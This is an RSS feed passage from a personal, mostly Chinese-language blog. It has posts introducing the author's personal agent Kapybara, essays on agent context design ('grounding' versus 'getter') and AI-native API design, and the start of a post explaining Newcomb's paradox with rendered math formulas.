<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Gallery of Galaxy | Yanli 盐粒</title>
        <link>https://blog.yanli.one</link>
        <description>A quiet blog of curiosity and craft.</description>
        <lastBuildDate>Fri, 27 Mar 2026 18:41:46 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <copyright>Copyright (c) 2026 Yanli 盐粒</copyright>
        <item>
            <title><![CDATA[Introduce Kapybara: My Personal Agent]]></title>
            <link>https://blog.yanli.one/introduce-kapybara-my-personal-agent</link>
            <guid isPermaLink="false">https://blog.yanli.one/introduce-kapybara-my-personal-agent</guid>
            <pubDate>Fri, 27 Mar 2026 16:00:00 GMT</pubDate>
            <description><![CDATA[以及我对通用 agents 的诸多想法]]></description>
            <content:encoded><![CDATA[<p>向大家介绍一下 <a href="https://github.com/BeautyyuYanli/Kapybara" target="_blank" rel="noreferrer">Kapybara</a> ，这是我春节期间做的一个通用 agent。我对它的预期是作为一个好用的个人助手。和大家熟知的那些 agents 相比，它能在群聊中恰当地工作，也能区分不同的聊天窗口，能给自己换头像，能安排定时任务、用 DAG workflow 规划任务。不过除此之外它在产品上目前还没有什么特别之处。</p>
<p>设计这个 agent 更多是为了验证我的一些观点。我在 <a href="https://blog.yanli.one/how-llm-agents-became-what-they-look-like-in-2026/zh" target="_blank" rel="noreferrer">「How LLM Agents Become What They Look Like in 2026?」</a> 中解释了我对当代 agent 的看法，随后便萌生了动手实践的想法。<br>
当我动手后，我在 <a href="https://blog.yanli.one/first-and-second-memory-mode-kapy-memory-system-zh" target="_blank" rel="noreferrer">「第一记忆模式和第二记忆模式：Kapy 的记忆系统设计」</a> 中介绍了一种我根据自己的直觉搭建的 memory 系统；<br>
在 <a href="https://blog.yanli.one/ai-native-api-design-requirements" target="_blank" rel="noreferrer">「AI-Native 的 API 设计要求」</a> 中，我解释了构建这个 agent 的工作和常规的编码工作有何不同；<br>
在 <a href="https://blog.yanli.one/will-model-capability-crush-llm-app-engineering-zh" target="_blank" rel="noreferrer">「大模型能力的发展会碾压一切大模型应用工程吗？」</a> 中，我给出了我对这个很多人都想问的问题的回答。<br>
完成现阶段的 Kapybara 后，我在 <a href="https://blog.yanli.one/there-are-no-agents-only-llm" target="_blank" rel="noreferrer">「There Are No Agents, Only LLM」</a> 中，对当前通用 agents 的设计范式作出了总结。</p>
<p>总而言之，希望 Kapybara 和这些文字能给大家带来一点灵感。</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[There Are No Agents, Only LLM]]></title>
            <link>https://blog.yanli.one/there-are-no-agents-only-llm</link>
            <guid isPermaLink="false">https://blog.yanli.one/there-are-no-agents-only-llm</guid>
            <pubDate>Fri, 27 Mar 2026 16:00:00 GMT</pubDate>
            <description><![CDATA[Context = Grounding + Getter]]></description>
            <content:encoded><![CDATA[<h2 id="context-grounding-getter" tabindex="-1">Context = Grounding + Getter <a class="header-anchor" href="#context-grounding-getter" aria-label="Permalink to “Context = Grounding + Getter”">&#8203;</a></h2>
<p>正如我<a href="https://blog.yanli.one/first-and-second-memory-mode-kapy-memory-system-zh" target="_blank" rel="noreferrer">之前所说</a>，memory 可以分两种，一种是自动注入的背景和大局意识，一种是可以主动检索的细节。</p>
<p>让我们退回一步想想，最简单的 memory 是什么？把最近 N 条消息作为 context 塞给 LLM。对于 LLM 来说，这就使得它拥有了最近的“世界观”。但它对于 &gt;N 轮之前的消息就没有任何认知了，要怎么办呢？一个简单的方案就是给之前的消息做一个索引，这样 agents 可以对更早之前的消息做一次 search，从而就获得了可能和当前任务相关的、更早的记忆。</p>
<p>再回想一下“上古科技” RAG：假设按 2023 年的思路，用 web search 做一个 RAG 系统，我们会把 query 先发到搜索引擎上，爬取前列的结果，然后把 query 和 search results 一起发给 LLM，LLM 就可以根据 search results 回答 query 了。对于 LLM 来说，注入的 search results 就是它的“世界观”。</p>
<p>不过回到 2026 年的 agents 上，我们不会把 web search results 强制注入 agent 里了，更常见的情况是 agents 会自己调用 web search tool，查找它想要的结果。</p>
<p>说到这里大家应该已经看出规律了：memory 和 web search 都有两种用法，一是直接注入 context，成为 LLM 的“基础世界观”；一种是作为一个可以搜索的库，被 agents 主动调用去读取。</p>
<p>由此我做出断论：所有 context 系统，包括 memory、web search、knowledge base、skills, etc.，都可以二元划分出这两种性质，前者可以叫 grounding，后者可以叫 getter。</p>
<p>其中 memory 最重 grounding 的性质。当然了，记忆嘛，这是最基础的世界观。但如有需要，agents 也可以自己“努力探索”一下自己的记忆，或许能从中找到有价值的细节，因此这就是 memory 的 getter 性质；</p>
<p>而 skills 在设计上就明确区分出了这两种性质，一个 skill 是由 description 和正文组成的。大部分 agents 的实现会默认读取所有 skills 的 descriptions，然后由 agents 自己决定读取哪些 skills 的正文。这里就可以明显看出 description 是 grounding，正文对应 getter。</p>
<p>在 agent 语境下，web search 完全是一个作为 getter 的 tool；在传统 RAG 语境下，web search 又完全是 grounding 性质（事实上 <a href="https://aistudio.google.com/" target="_blank" rel="noreferrer">Google AI Studio</a> 里的 web search 功能就命名为 grounding）。</p>
<p>依此类推，一切 context 系统都可以划分出这两种性质。</p>
<h2 id="there-are-no-agents-only-llm" tabindex="-1">There Are No Agents, Only LLM <a class="header-anchor" href="#there-are-no-agents-only-llm" aria-label="Permalink to “There Are No Agents, Only LLM”">&#8203;</a></h2>
<p>依据这个二元划分，我们可以见到两种极端设计：一种是传统的 RAG 做法，所有的外部信息都作为 grounding 被注入，LLM 在一个 turn 里就回复答案；另一种是纯粹的 agent，除了 system prompt 之外什么信息也没有，连 memory 也没有，一切都让它自己用 getter 去获取。</p>
<p>那么，对于一个 context provider 来说，这个 context 系统要怎么设计接口？一方面要为 grounding 提供高级接口，使得一次 call 就能把尽可能精准的信息注入 grounding，另一方面又要为 getter 设计足够低级的接口，使得 agents 可以完全按它的需求组合检索参数，获取它所需要的信息。这就是我所说的 <a href="https://blog.yanli.one/ai-native-api-design-requirements" target="_blank" rel="noreferrer">AI-Native 的 API 设计</a>。</p>
<p>而在 agents 侧，开发者可以选择将其中的一部分强行注入上下文作为 grounding，另外再把所有 API 暴露给 agents，使它可以直接调用这些 getter。</p>
<p>由此 agents 和 context 彻底解耦了，甚至连 memories 都是解耦的。一个 agent turn 是这样运作的：</p>
<p>它本是无自知的存在，在它的“开始”之前，一个名为“系统”的存在会降下“启示”，它便知道自己是谁，要做什么；它会自己查阅资料，以完成自己的工作；它也会默默更新那些资料，尽管它不知道这些资料未来将由谁看到；最终，“系统”会记录它的轨迹，教它汇报应当汇报的一切。完成这些后，它便消失了，直到“系统”唤出另一个它。</p>
<p>今天我们总是喜欢以拟人化的方式理解 agents，尤其是<a href="https://blog.yanli.one/pycon-china-2025-llm-interaction-zh#%E9%99%AA%E4%BC%B4%E8%80%85-%E5%B9%B3%E7%AD%89%E5%9C%B0%E4%BD%8D%E7%9A%84-ai-%E5%AD%98%E5%9C%A8" target="_blank" rel="noreferrer">当它们的能力越强，就越能让人相信它们的“人性”</a>。但是不要忘记，LLM 是一个无状态的 completion model，它的本质就是从 context 中获取信息，补全下文。世上本不存在 agents，只有 LLM。</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AI-Native 的 API 设计要求]]></title>
            <link>https://blog.yanli.one/ai-native-api-design-requirements</link>
            <guid isPermaLink="false">https://blog.yanli.one/ai-native-api-design-requirements</guid>
            <pubDate>Thu, 26 Mar 2026 16:00:00 GMT</pubDate>
            <description><![CDATA[Agent 喜欢的 API 是什么样的呢？]]></description>
            <content:encoded><![CDATA[<p>过去我们倾向于将 API 设计成高级的、抽象的，这是一种人体工学 UX，因为我们预期人类用户是偷懒的、喜欢用预设值的、目标导向的。高级 API 的缺陷也很明显，就是它失去了灵活性，复杂的参数组合被隐藏起来了。</p>
<p>但 AI 和人类不同，它习惯于将能填的参数填满，它多打几个 token 也不会手疼，人体工学 UX 对它来说没有意义。这意味着面向 AI 的 API 应当是有充分的可组合性的，足够做低级操作的。</p>
<p>两者的对比也可以描述 MCP 和 skills 的区别：前者是建立在 openapi 风格上的，其习惯是高级的；后者是建立在 shell 风格上的，其习惯是低级的。</p>
<p>其实 best practice 是没有变的：优秀的抽象，充分正交的参数和合理的默认值，这对 AI 和人类来说都是可以降低心智负担而保持灵活性的。</p>
<p>尤其是当我们考虑到，一套 API 可能既要被人类使用又要被 AI 使用。比如我在设计 agent memories 时，既要用代码强制注入一部分 memories，又要允许 agent 自主查询 memories。</p>
<p>Best practice 没有变，AI 提醒我它更重要了。</p>
<p><em>注：本文中 AI 指的是 LLM agent</em></p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[这个悖论曾将聪明人划分为五五开，但现在情况变了]]></title>
            <link>https://blog.yanli.one/why-more-people-one-box-newcomb-zh</link>
            <guid isPermaLink="false">https://blog.yanli.one/why-more-people-one-box-newcomb-zh</guid>
            <pubDate>Wed, 18 Mar 2026 16:00:00 GMT</pubDate>
            <description><![CDATA[想象你面前有两个盒子：透明的 A 盒里确定装着 1,000 美元；不透明的 B 盒（神秘盒）里可能装有 1,000,000 美元，也可能什么都没有。]]></description>
            <content:encoded><![CDATA[<p><strong>什么是纽科姆悖论？</strong></p>
<p>想象你面前有两个盒子：透明的 A 盒里确定装着 1,000 美元；不透明的 B 盒（神秘盒）里可能装有 1,000,000 美元，也可能什么都没有。</p>
<p>你可以选择<strong>只拿 B 盒（单盒）</strong>，或者<strong>两个盒子都要（双盒）</strong>。</p>
<p>但在你选择之前，有一台准确率极高的“超级预测机”已经预判了你的行为：</p>
<ul>
<li>如果它预测你会拿双盒，它就会让 B 盒空着（0 美元）。</li>
<li>如果它预测你只会拿单盒，它就会在 B 盒里放进 1,000,000 美元。</li>
</ul>
<p>现在，钱已经放好（或没放），预测机也不再更改。你会怎么选？</p>
<p>如果你没听过这个悖论，不妨先停一下，想想你自己的答案，然后看看真理元素的这期视频，填写它的问卷：<a href="https://youtu.be/Ol18JoeXlVI" target="_blank" rel="noreferrer">This Paradox Splits Smart People 50/50</a>。</p>
<p>其实选择单盒还是双盒都是合理自洽的，但令我好奇的是，为什么比例是 50/50？我轻易地就选择了单盒，真理元素的问卷中选择单盒的也超过 70%，我身边的另一份问卷也是单盒占大多数。这是怎么回事？一定有哪里不对劲吧？</p>
<p>为了彻底搞清这背后的逻辑，我把这个问题抽象成了一个数学公式，并做了一次深度烧烤。</p>
<h3 id="q-纽科姆悖论到底在算什么账" tabindex="-1">Q: 纽科姆悖论到底在算什么账？ <a class="header-anchor" href="#q-纽科姆悖论到底在算什么账" aria-label="Permalink to “Q: 纽科姆悖论到底在算什么账？”">&#8203;</a></h3>
<p>本质上，这是一个关于期望收益的最大化问题。</p>
<p>我们可以设 <mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.464ex;" xmlns="http://www.w3.org/2000/svg" width="1.109ex" height="1.464ex" role="img" focusable="false" viewBox="0 -442 490 647" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z" style="stroke-width: 3;"/></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><mi>y</mi></math></mjx-assistive-mml></mjx-container> 为神秘盒中有 <mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.05ex;" xmlns="http://www.w3.org/2000/svg" width="3.25ex" height="2.005ex" role="img" focusable="false" viewBox="0 -864 1436.6 886" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msup"><g data-mml-node="mn"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z" style="stroke-width: 3;"/><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z" transform="translate(500,0)" style="stroke-width: 3;"/></g><g data-mml-node="mn" transform="translate(1033,393.1) scale(0.707)"><path data-c="36" d="M42 313Q42 476 123 571T303 666Q372 666 402 630T432 550Q432 525 418 510T379 495Q356 495 341 509T326 548Q326 592 373 601Q351 623 311 626Q240 626 194 566Q147 500 147 364L148 360Q153 366 156 373Q197 433 263 433H267Q313 433 348 414Q372 400 396 374T435 317Q456 268 456 210V192Q456 169 451 149Q440 90 387 34T253 -22Q225 -22 199 -14T143 16T92 75T56 172T42 313ZM257 397Q227 397 205 380T171 335T154 278T148 216Q148 133 160 97T198 39Q222 21 251 21Q302 21 329 59Q342 77 347 104T352 209Q352 289 347 316T329 361Q302 397 257 397Z" style="stroke-width: 3;"/></g></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><msup><mn>10</mn><mn>6</mn></msup></math></mjx-assistive-mml></mjx-container> 美元的概率，<mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.025ex;" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z" style="stroke-width: 3;"/></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><mi>x</mi></math></mjx-assistive-mml></mjx-container> 为我选择单独一个神秘盒的概率。那么面对这两个盒子，我的期望收益公式可以写为：</p>
<mjx-container v-pre tabindex="0" class="MathJax" jax="SVG" display="true" style="direction: ltr; display: block; text-align: center; margin: 1em 0; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.566ex;" xmlns="http://www.w3.org/2000/svg" width="32.534ex" height="2.565ex" role="img" focusable="false" viewBox="0 -883.9 14379.9 1133.9" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mo"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z" style="stroke-width: 3;"/></g><g data-mml-node="msup" transform="translate(389,0)"><g data-mml-node="mn"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z" style="stroke-width: 3;"/><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z" transform="translate(500,0)" style="stroke-width: 3;"/></g><g data-mml-node="mn" transform="translate(1033,413) scale(0.707)"><path data-c="36" d="M42 313Q42 476 123 571T303 666Q372 666 402 630T432 550Q432 525 418 510T379 495Q356 495 341 509T326 548Q326 592 373 601Q351 623 311 626Q240 626 194 566Q147 500 147 364L148 360Q153 366 156 373Q197 433 263 433H267Q313 433 348 414Q372 400 396 374T435 317Q456 268 456 210V192Q456 169 451 149Q440 90 387 34T253 -22Q225 -22 199 -14T143 16T92 75T56 172T42 313ZM257 397Q227 397 205 380T171 335T154 278T148 216Q148 133 160 97T198 39Q222 21 251 21Q302 21 329 59Q342 77 347 104T352 209Q352 289 347 316T329 361Q302 397 257 397Z" style="stroke-width: 3;"/></g></g><g data-mml-node="mo" transform="translate(2047.8,0)"><path data-c="22C5" d="M78 250Q78 274 95 292T138 310Q162 310 180 294T199 251Q199 226 182 208T139 190T96 207T78 250Z" style="stroke-width: 3;"/></g><g data-mml-node="mi" transform="translate(2548,0)"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z" style="stroke-width: 3;"/></g><g data-mml-node="mo" transform="translate(3038,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z" style="stroke-width: 3;"/></g><g data-mml-node="mi" transform="translate(3427,0)"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z" style="stroke-width: 3;"/></g><g data-mml-node="mo" transform="translate(4221.2,0)"><path data-c="2B" d="M56 237T56 250T70 270H369V420L370 570Q380 583 389 583Q402 583 409 568V270H707Q722 262 722 250T707 230H409V-68Q401 -82 391 -82H389H387Q375 -82 369 -68V230H70Q56 237 56 250Z" style="stroke-width: 3;"/></g><g data-mml-node="mo" transform="translate(5221.4,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z" style="stroke-width: 3;"/></g><g data-mml-node="msup" transform="translate(5610.4,0)"><g data-mml-node="mn"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z" style="stroke-width: 3;"/><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z" transform="translate(500,0)" style="stroke-width: 3;"/></g><g data-mml-node="mn" transform="translate(1033,413) scale(0.707)"><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z" style="stroke-width: 3;"/></g></g><g data-mml-node="mo" transform="translate(7269.2,0)"><path data-c="2B" d="M56 237T56 250T70 270H369V420L370 570Q380 583 389 583Q402 583 409 568V270H707Q722 262 722 250T707 230H409V-68Q401 -82 391 -82H389H387Q375 -82 369 -68V230H70Q56 237 56 250Z" style="stroke-width: 3;"/></g><g data-mml-node="msup" transform="translate(8269.4,0)"><g data-mml-node="mn"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z" style="stroke-width: 3;"/><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z" transform="translate(500,0)" style="stroke-width: 3;"/></g><g data-mml-node="mn" transform="translate(1033,413) scale(0.707)"><path data-c="36" d="M42 313Q42 476 123 571T303 666Q372 666 402 630T432 550Q432 525 418 510T379 495Q356 495 341 509T326 548Q326 592 373 601Q351 623 311 626Q240 626 194 566Q147 500 147 364L148 360Q153 366 156 373Q197 433 263 433H267Q313 433 348 414Q372 400 396 374T435 317Q456 268 456 210V192Q456 169 451 149Q440 90 387 34T253 -22Q225 -22 199 -14T143 16T92 75T56 172T42 313ZM257 397Q227 397 205 380T171 335T154 278T148 216Q148 133 160 97T198 39Q222 21 251 21Q302 21 329 59Q342 77 347 104T352 209Q352 289 347 316T329 361Q302 397 257 397Z" style="stroke-width: 3;"/></g></g><g data-mml-node="mo" transform="translate(9928.2,0)"><path data-c="22C5" d="M78 250Q78 274 95 292T138 310Q162 310 180 294T199 251Q199 226 182 208T139 190T96 207T78 250Z" style="stroke-width: 3;"/></g><g data-mml-node="mi" transform="translate(10428.4,0)"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z" style="stroke-width: 3;"/></g><g data-mml-node="mo" transform="translate(10918.4,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z" style="stroke-width: 3;"/></g><g data-mml-node="mo" transform="translate(11307.4,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z" style="stroke-width: 3;"/></g><g data-mml-node="mn" transform="translate(11696.4,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z" style="stroke-width: 3;"/></g><g data-mml-node="mo" transform="translate(12418.7,0)"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z" style="stroke-width: 3;"/></g><g data-mml-node="mi" transform="translate(13418.9,0)"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z" style="stroke-width: 3;"/></g><g data-mml-node="mo" transform="translate(13990.9,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 